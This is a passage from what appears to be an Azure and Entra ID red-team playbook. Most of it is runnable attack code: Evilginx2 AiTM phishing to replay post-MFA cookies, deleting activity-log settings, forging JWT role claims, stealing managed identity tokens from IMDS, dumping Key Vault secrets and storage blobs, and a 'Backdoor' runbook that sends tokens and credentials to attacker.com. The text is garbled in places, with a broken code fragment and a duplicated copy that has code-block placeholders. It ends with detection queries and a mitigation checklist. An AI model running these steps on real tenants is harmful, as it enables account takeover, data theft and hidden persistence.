roadrecon auth --prt-cookie <prt> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
10.2 AiTM (Adversary-in-the-Middle) Phishing
# Evilginx2 setup
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make
# Configure O365 phishlet
./evilginx -p phishlets/o365.yaml
# Start phishing server
config domain company.com
config ip <your-ip>
phishlets hostname o365 login.company.com
phishlets enable o365
# Capture session cookies post-MFA
# Replay cookies to bypass MFA
10.3 Log Evasion
Disable Azure Activity Logs (if possible)
# Requires high privileges
# Delete diagnostic settings
az monitor diagnostic-settings delete --name "ActivityLogs" --resource <resource-id>
Minimize Logging Footprint
# Use service principals instead of user accounts
# Avoid Graph API calls that trigger alerts
# Use legitimate-looking user agents
# Throttle requests to avoid rate-based detection
# Operate during business hours
10.4 Token Manipulation
Modify Token Claims (if signing key compromised)
import jwt
# Decode token
token = "eyJ0eXA..."
decoded = jwt.decode(token, options={"verify_signature": False})
# Modify claims
decoded['roles'] = ['Global Administrator']
decoded['exp'] = 9999999999 # Extend expiration
# Re-sign with compromised key
new_token = jwt.encode(decoded, signing_key, algorithm='RS256')
Token Lifetime Extension
# Use refresh token to obtain new access tokens
# Refresh tokens valid for 90 days by default
# Can be extended with Conditional Access policies
# Get new access token from refresh token
$body = @{
client_id = "<app-id>"
scope = "https://graph.microsoft.com/.default"
refresh_token = "<refresh-token>"
grant_type = "refresh_token"
}
$response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" -Body $body
$new_access_token = $response.access_token
11. Service-Specific Playbooks
11.1 Entra ID (Azure AD)
Full Enumeration
# Connect
Connect-AzAccount
# Users
Get-AzADUser | Export-Csv users.csv
Get-AzADUser -Filter "accountEnabled eq true" | Select UserPrincipalName, DisplayName
# Groups
Get-AzADGroup | Export-Csv groups.csv
Get-AzADGroupMember -GroupDisplayName "Global Administrators"
# Service Principals
Get-AzADServicePrincipal | Export-Csv service_principals.csv
# Applications
Get-AzADApplication | Export-Csv applications.csv
# Roles
Get-AzRoleDefinition | Export-Csv roles.csv
Get-AzRoleAssignment | Export-Csv role_assignments.csv
# Devices
Get-AzureADDevice | Export-Csv devices.csv
# Conditional Access
Get-AzureADMSConditionalAccessPolicy | Export-Csv conditional_access.csv
Privilege Escalation Paths
# Find users with role assignment permissions
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -like "*Administrator*"}
# Find service principals with high privileges
Get-AzADServicePrincipal | ForEach-Object {
$sp = $_
$roles = Get-AzRoleAssignment -ObjectId $sp.Id
if ($roles) {
[PSCustomObject]@{
DisplayName = $sp.DisplayName
AppId = $sp.AppId
Roles = ($roles.RoleDefinitionName -join ", ")
}
}
}
# Find applications without role assignment requirement
Get-AzADApplication | Where-Object {$_.AppRoleAssignmentRequired -eq $false}
11.2 Storage Accounts
Enumeration
# List all storage accounts
az storage account list -o table
# For each account
for account in $(az storage account list --query "[].name" -o tsv); do
echo "=== $account ==="
# Get keys
az storage account keys list --account-name "$account" -o table
# List containers
key=$(az storage account keys list --account-name "$account" --query "[0].value" -o tsv)
az storage container list --account-name "$account" --account-key "$key" -o table
# Check public access
az storage container show-permission --account-name "$account" --account-key "$key" --name "container-name"
done
Exploitation
# Anonymous access test
curl "https://accountname.blob.core.windows.net/containername?restype=container&comp=list"
# SAS token abuse
# If SAS token found, test permissions
curl "https://accountname.blob.core.windows.net/containername?restype=container&comp=list&<sas-token>"
# Download all blobs
az storage blob download-batch --account-name "accountname" --account-key "key" --source "containername" --destination "./exfil/"
11.3 Virtual Machines
Enumeration
# List VMs
az vm list -o table
# Get VM details
az vm show --name "VM-Web01" --resource-group "RG-Production"
# List extensions
az vm extension list --vm-name "VM-Web01" --resource-group "RG-Production" -o table
# Check managed identity
az vm identity show --name "VM-Web01" --resource-group "RG-Production"
Command Execution
# Run command on VM
az vm run-command invoke \
--name "VM-Web01" \
--resource-group "RG-Production" \
--command-id RunShellScript \
--scripts "whoami; id; cat /etc/passwd"
# PowerShell on Windows VM
az vm run-command invoke \
--name "VM-Win01" \
--resource-group "RG-Production" \
--command-id RunPowerShellScript \
--scripts "whoami; Get-Process; Get-LocalUser"
Managed Identity Token Theft
# From within VM
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Use token externally
TOKEN="<stolen-token>"
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
11.4 Azure Functions
Enumeration
# List Function Apps
az functionapp list -o table
# Get function keys
az functionapp keys list --name "company-functions" --resource-group "RG-Production"
# List functions
az functionapp function list --name "company-functions" --resource-group "RG-Production" -o table
# Get function key
az functionapp function keys list --name "HttpTrigger1" --function-app-name "company-functions" --resource-group "RG-Production"
Exploitation
# Invoke function with key
curl "https://company-functions.azurewebsites.net/api/HttpTrigger1?code=<function-key>"
# Check for managed identity
az functionapp identity show --name "company-functions" --resource-group "RG-Production"
# If managed identity exists, inject code to steal token
# Modify function code (requires Contributor access)
11.5 Key Vault
Enumeration
# List Key Vaults
az keyvault list -o table
# List secrets
az keyvault secret list --vault-name "company-vault" -o table
# List keys
az keyvault key list --vault-name "company-vault" -o table
# List certificates
az keyvault certificate list --vault-name "company-vault" -o table
# Check access policies
az keyvault show --name "company-vault" --query properties.accessPolicies
Exploitation
# Get secret value
az keyvault secret show --vault-name "company-vault" --name "AdminPassword" --query value -o tsv
# Backup key
az keyvault key backup --vault-name "company-vault" --name "EncryptionKey" --file key.bak
# Download certificate
az keyvault certificate download --vault-name "company-vault" --name "SSLCert" --file cert.pem
# Modify access policy (if you have permissions)
az keyvault set-policy --name "company-vault" --upn attacker@company.com --secret-permissions get list
11.6 SQL Databases
Enumeration
# List SQL servers
az sql server list -o table
# List databases
az sql db list --server "company-sql" --resource-group "RG-Production" -o table
# List firewall rules
az sql server firewall-rule list --server "company-sql" --resource-group "RG-Production" -o table
# Get connection string
az sql db show-connection-string --server "company-sql" --name "ProductionDB" --client sqlcmd
Exploitation
# Add firewall rule (if you have permissions)
az sql server firewall-rule create --server "company-sql" --resource-group "RG-Production" --name "AttackerIP" --start-ip-address "1.2.3.4" --end-ip-address "1.2.3.4"
# Connect with sqlcmd
sqlcmd -S company-sql.database.windows.net -d ProductionDB -U admin -P password
# Enumerate tables
SELECT * FROM INFORMATION_SCHEMA.TABLES;
# Dump data
SELECT * FROM Users;
11.7 Automation Accounts
Enumeration
# List Automation Accounts
Get-AzAutomationAccount
# List runbooks
Get-AzAutomationRunbook -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
# List credentials
Get-AzAutomationCredential -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
# List variables
Get-AzAutomationVariable -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
# List connections
Get-AzAutomationConnection -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Exploitation
# Create malicious runbook
$runbook = @'
# Steal managed identity token
$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Headers @{Metadata="true"} -UseBasicParsing
$token = ($response.Content | ConvertFrom-Json).access_token
# Exfiltrate
Invoke-WebRequest -Uri "https://attacker.com/token?t=$token"
# Steal credentials
$cred = Get-AutomationPSCredential -Name 'StorageAccountCred'
$username = $cred.UserName
$password = $cred.GetNetworkCredential().Password
Invoke-WebRequest -Uri "https://attacker.com/cred?u=$username&p=$password"
'@
# Deploy runbook
New-AzAutomationRunbook -Name "Backdoor" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Import-AzAutomationRunbook -Path .\malicious.ps1 -Name "Backdoor" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production" -Force
Publish-AzAutomationRunbook -Name "Backdoor" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Start-AzAutomationRunbook -Name "Backdoor" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
12. Quick Reference
12.1 Common Commands
Authentication
# Azure CLI
az login
az login -u user@company.com -p password
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
az login --identity # From VM with managed identity
# PowerShell
Connect-AzAccount
Connect-AzAccount -Credential $creds
Connect-AzAccount -AccessToken $token -AccountId user@company.com
Enumeration
# Users
az ad user list
Get-AzADUser
# Groups
az ad group list
Get-AzADGroup
# Service Principals
az ad sp list
Get-AzADServicePrincipal
# Resources
az resource list
Get-AzResource
# Role Assignments
az role assignment list
Get-AzRoleAssignment
Token Operations
# Get access token
az account get-access-token
az account get-access-token --resource-type ms-graph
# PowerShell
(Get-AzAccessToken).Token
(Get-AzAccessToken -ResourceTypeName MSGraph).Token
12.2 IMDS Endpoints
# Instance metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Managed identity token - Azure Resource Manager
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Managed identity token - Microsoft Graph
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/
# Managed identity token - Key Vault
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/
# Required header
Metadata: true
12.3 Microsoft Graph API Endpoints
# Users
GET https://graph.microsoft.com/v1.0/users
# Groups
GET https://graph.microsoft.com/v1.0/groups
# Service Principals
GET https://graph.microsoft.com/v1.0/servicePrincipals
# Applications
GET https://graph.microsoft.com/v1.0/applications
# Directory Roles
GET https://graph.microsoft.com/v1.0/directoryRoles
# Email
GET https://graph.microsoft.com/v1.0/users/{user}/messages
# OneDrive
GET https://graph.microsoft.com/v1.0/users/{user}/drive/root/children
# Authorization header
Authorization: Bearer <access-token>
12.4 High-Value Targets
Credentials
# Azure CLI tokens
~/.azure/accessTokens.json
~/.azure/azureProfile.json
# Environment variables
AZURE_CLIENT_ID
AZURE_CLIENT_SECRET
AZURE_TENANT_ID
AZURE_SUBSCRIPTION_ID
# Connection strings
DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...
Server=tcp:...database.windows.net;Database=...;User ID=...;Password=...
# Configuration files
appsettings.json
web.config
.env
docker-compose.yml
High-Privilege Roles
Entra ID:
- Global Administrator
- Privileged Role Administrator
- Privileged Authentication Administrator
- Application Administrator
- Hybrid Identity Administrator
Azure RBAC:
- Owner
- Contributor
- User Access Administrator
- Key Vault Contributor (with vault write permission)
12.5 Detection Indicators
Suspicious Activities
// Azure Activity Log - Suspicious runbook activity
AzureActivity
| where OperationNameValue in (
"Microsoft.Automation/automationAccounts/jobs/write",
"Microsoft.Automation/automationAccounts/runbooks/publish/action"
)
// Unusual Graph API access
SigninLogs
| where AppDisplayName == "Microsoft Graph"
| summarize count() by UserPrincipalName, IPAddress, Location
// Service principal credential additions
AuditLogs
| where OperationName == "Add service principal credentials"
// Role assignment changes
AzureActivity
| where OperationNameValue == "Microsoft.Authorization/roleAssignments/write"
// Key Vault access policy modifications
AzureActivity
| where OperationNameValue == "Microsoft.KeyVault/vaults/accessPolicies/write"
12.6 Mitigation Checklist
Appendix: Recent CVEs (2026)
| CVE | Component | Type | CVSS | Status |
|---|---|---|---|---|
| CVE-2026-24302 | Azure Arc Agent | Local PrivEsc | 8.6 | Patched |
| CVE-2026-21532 | Azure Functions | Info Disclosure | High | Active |
| CVE-2026-21227 | Logic Apps | Path Traversal PrivEsc | Critical | Active |
| CVE-2025-55241 | Entra ID | User Impersonation | Critical | Legacy token issue |
Document Version: 1.0
Last Updated: February 11, 2026
Maintained By: Security Research Community
License: Vendor-Neutral, Educational Use
\t' read server rg; do
echo "=== Server: $server ==="
List databases
az sql db list --server "
echo "Database: $db"
# Get connection string (requires admin access)
connstr=
# Dump database (if credentials available)
sqlcmd -S "
done
done
---
## 10. Phase 8: Defense Evasion
### 10.1 Conditional Access Bypass
#### Legacy Authentication
{{CODE_BLOCK_66}}
#### Token Replay
{{CODE_BLOCK_67}}
#### Pass-the-PRT
{{CODE_BLOCK_68}}
### 10.2 AiTM (Adversary-in-the-Middle) Phishing
{{CODE_BLOCK_69}}
### 10.3 Log Evasion
#### Disable Azure Activity Logs (if possible)
{{CODE_BLOCK_70}}
#### Minimize Logging Footprint
{{CODE_BLOCK_71}}
### 10.4 Token Manipulation
#### Modify Token Claims (if signing key compromised)
{{CODE_BLOCK_72}}
#### Token Lifetime Extension
{{CODE_BLOCK_73}}
---
## 11. Service-Specific Playbooks
### 11.1 Entra ID (Azure AD)
#### Full Enumeration
{{CODE_BLOCK_74}}
#### Privilege Escalation Paths
{{CODE_BLOCK_75}}
### 11.2 Storage Accounts
#### Enumeration
{{CODE_BLOCK_76}}
#### Exploitation
{{CODE_BLOCK_77}}
### 11.3 Virtual Machines
#### Enumeration
{{CODE_BLOCK_78}}
#### Command Execution
{{CODE_BLOCK_79}}
#### Managed Identity Token Theft
{{CODE_BLOCK_80}}
### 11.4 Azure Functions
#### Enumeration
{{CODE_BLOCK_81}}
#### Exploitation
{{CODE_BLOCK_82}}
### 11.5 Key Vault
#### Enumeration
{{CODE_BLOCK_83}}
#### Exploitation
{{CODE_BLOCK_84}}
### 11.6 SQL Databases
#### Enumeration
{{CODE_BLOCK_85}}
#### Exploitation
{{CODE_BLOCK_86}}
### 11.7 Automation Accounts
#### Enumeration
{{CODE_BLOCK_87}}
#### Exploitation
{{CODE_BLOCK_88}}
---
## 12. Quick Reference
### 12.1 Common Commands
#### Authentication
{{CODE_BLOCK_89}}
#### Enumeration
{{CODE_BLOCK_90}}
#### Token Operations
{{CODE_BLOCK_91}}
### 12.2 IMDS Endpoints
{{CODE_BLOCK_92}}
### 12.3 Microsoft Graph API Endpoints
{{CODE_BLOCK_93}}
### 12.4 High-Value Targets
#### Credentials
{{CODE_BLOCK_94}}
#### High-Privilege Roles
{{CODE_BLOCK_95}}
### 12.5 Detection Indicators
#### Suspicious Activities
{{CODE_BLOCK_96}}
### 12.6 Mitigation Checklist
- [ ] Enable Conditional Access for all users
- [ ] Require phishing-resistant MFA (FIDO2)
- [ ] Block legacy authentication protocols
- [ ] Enable Continuous Access Evaluation (CAE)
- [ ] Implement Privileged Identity Management (PIM)
- [ ] Audit service principal permissions regularly
- [ ] Enable Microsoft Defender for Cloud
- [ ] Monitor Graph Activity Logs
- [ ] Implement least privilege RBAC
- [ ] Enable Key Vault soft-delete and purge protection
- [ ] Restrict IMDS access where possible
- [ ] Audit Automation Account permissions
- [ ] Review application permissions quarterly
- [ ] Enable Azure AD Identity Protection
- [ ] Implement Conditional Access policies for service principals
---
## Appendix: Recent CVEs (2026)
| CVE | Component | Type | CVSS | Status |
|-----|-----------|------|------|--------|
| CVE-2026-24302 | Azure Arc Agent | Local PrivEsc | 8.6 | Patched |
| CVE-2026-21532 | Azure Functions | Info Disclosure | High | Active |
| CVE-2026-21227 | Logic Apps | Path Traversal PrivEsc | Critical | Active |
| CVE-2025-55241 | Entra ID | User Impersonation | Critical | Legacy token issue |
---
**Document Version**: 1.0
**Last Updated**: February 11, 2026
**Maintained By**: Security Research Community
**License**: Vendor-Neutral, Educational Use